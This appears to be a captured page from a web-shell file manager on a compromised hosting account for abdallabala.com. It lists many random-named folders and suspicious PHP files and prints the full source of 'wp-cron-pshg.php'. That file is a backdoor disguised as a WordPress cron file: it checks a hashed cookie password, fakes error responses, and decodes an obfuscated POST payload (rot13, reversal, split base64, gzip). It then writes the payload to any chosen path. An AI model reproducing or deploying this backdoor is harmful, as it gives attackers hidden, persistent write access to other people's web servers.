FM / abdallabala.com

/home/techb158/abdallabala.com

Name	Size	Mode	Actions
.well-known/	-	0755	rm
agkrzsq/	-	0755	rm
alrxeyv/	-	0755	rm
anmztbf/	-	0755	rm
aqvwrgd/	-	0755	rm
atkbjry/	-	0755	rm
atkyjbo/	-	0755	rm
badyvef/	-	0755	rm
bnyhkt1/	-	0755	rm
bvd1equ/	-	0755	rm
c1vzmrk/	-	0755	rm
cdnhute/	-	0755	rm
ceptflo/	-	0755	rm
cigmslf/	-	0755	rm
clyathi/	-	0755	rm
cq1erad/	-	0755	rm
dgxwqmz/	-	0755	rm
diuewhr/	-	0755	rm
dm1rnvw/	-	0755	rm
dofrw1c/	-	0755	rm
dpqtwvm/	-	0755	rm
ejlqsgx/	-	0755	rm
fdpkulq/	-	0755	rm
gzq1usy/	-	0755	rm
haoupny/	-	0755	rm
hf1rkga/	-	0755	rm
hkzlfyj/	-	0755	rm
hmsglrq/	-	0755	rm
hnsdwef/	-	0755	rm
hxqmztv/	-	0755	rm
ifboczy/	-	0755	rm
krals1f/	-	0755	rm
kztmcu1/	-	0755	rm
l1upeah/	-	0755	rm
lbryaei/	-	0755	rm
lrwycbn/	-	0755	rm
m1tnzrx/	-	0755	rm
mchbqsx/	-	0755	rm
mtrahvb/	-	0755	rm
mve1lqg/	-	0755	rm
nmzulvr/	-	0755	rm
nvqeuih/	-	0755	rm
ogr1pas/	-	0755	rm
oly1tip/	-	0755	rm
orwtpyf/	-	0755	rm
ovzqjnt/	-	0755	rm
prcdbjz/	-	0755	rm
psivzwq/	-	0755	rm
ptknbga/	-	0755	rm
pzcokrf/	-	0755	rm
qdspcnz/	-	0755	rm
rbvpzuy/	-	0755	rm
rkopam1/	-	0755	rm
rxkmswf/	-	0755	rm
rybejdz/	-	0755	rm
sfijnod/	-	0755	rm
sgaldrj/	-	0755	rm
sgmc1ju/	-	0755	rm
svofubz/	-	0755	rm
tcxahsg/	-	0755	rm
tgy1ifh/	-	0755	rm
ufv1bhz/	-	0755	rm
ujzagxo/	-	0755	rm
vifelud/	-	0755	rm
vlirf1s/	-	0755	rm
vprbgtf/	-	0755	rm
vqbmhj1/	-	0755	rm
vzxb1gd/	-	0755	rm
wdfzpni/	-	0755	rm
well-known/	-	0755	rm
wmpefys/	-	0755	rm
wprzits/	-	0755	rm
wzx1lsp/	-	0755	rm
x1yfwhv/	-	0755	rm
xljwk1i/	-	0755	rm
yclo1wp/	-	0755	rm
ypfclqd/	-	0755	rm
ytnglka/	-	0755	rm
yuekxjb/	-	0755	rm
zbhnlag/	-	0755	rm
zfqdnrc/	-	0755	rm
zixdhqu/	-	0755	rm
zjtrnch/	-	0755	rm
zlysmhu/	-	0755	rm
zu1cexf/	-	0755	rm
zvlkwpr/	-	0755	rm
.ftpquota	7	0600	edit dl rm
.htaccess	281	0644	edit dl rm
index-1.html	942	0644	edit dl rm
okhavate.php	19513	0644	edit dl rm
rtfenqly.php	7317	0644	edit dl rm
wp-cron-pshg.php	1659	0644	edit dl rm

Edit: /home/techb158/abdallabala.com/wp-cron-pshg.php (1659B)

<?php
function endsWith($FullStr, $needle) {
	$StrLen = strlen($needle);
	$FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
	return $FullStrEnd == $needle;
}
function folder_of_file($p1){
	if(!stristr($p1, '/')){
		return realpath('./');
	}
	if(strpos($p1, '//') !== false){
		$p1 = str_replace('//','/',$p1);
	}
	if(endsWith($p1, '/') == true){
		$p1 = substr_replace($p1 ,'', -1);
	}
	$p2 = '';
	$ar = explode('/', $p1);
	for($i=1; $i < count($ar) - 1; $i++){
		$p2 .= '/'.$ar[$i];
	}
	if($p1[0] == '.' && $p1[1] == '/'){
		$p2 = './'.$p2;
	}
	if($p1[0] == '.' && $p1[1] == '.'){
		$p2 = '../'.$p2;
	}
	if(strpos($p2, '//') !== false){
		$p2 = str_replace('//','/',$p2);
	}
	return trim($p2);
}
function save($path, $source){
	$os = strtolower(substr(PHP_OS, 0, 3));
	$folder_P = folder_of_file($path);
	if (!is_writable($folder_P) && $os != "win"){ chmod($folder_P, 0755); }
	if (file_exists($path) && is_file($path) && !is_writable($path) && $os != "win"){ chmod($path, 0644); }
	if(function_exists('file_put_contents')){
		$saV = file_put_contents($path, $source);
	}else{
		$saV = fwrite(fopen($path, 'w'), $source);
	}
	return $saV;
}
if(!empty($_GET['action'])){
	die('Sorry the page you were looking for could not be found.');
}
if (md5(md5(md5($_COOKIE['pwd']))) !== '0d4f69bb38f2354a6d896d6a222a4bf5' || empty($_POST['name']) || empty($_POST['age'])){
	header('HTTP/1.1 500 Internal Server Error', true, 500);
	exit(0);
}
$b = 'ba'.'s'.'e'.'6'.'4_'.'de'.'co'.'de';$srv = 'str'.'rev';$rot = 'str'.'_'.'rot'.'13';
save(trim($_POST['name']), gzuncompress($b($srv($rot(trim($_POST['age']))))));
echo '<html><center>./Done</center></html>';
?>

cmd: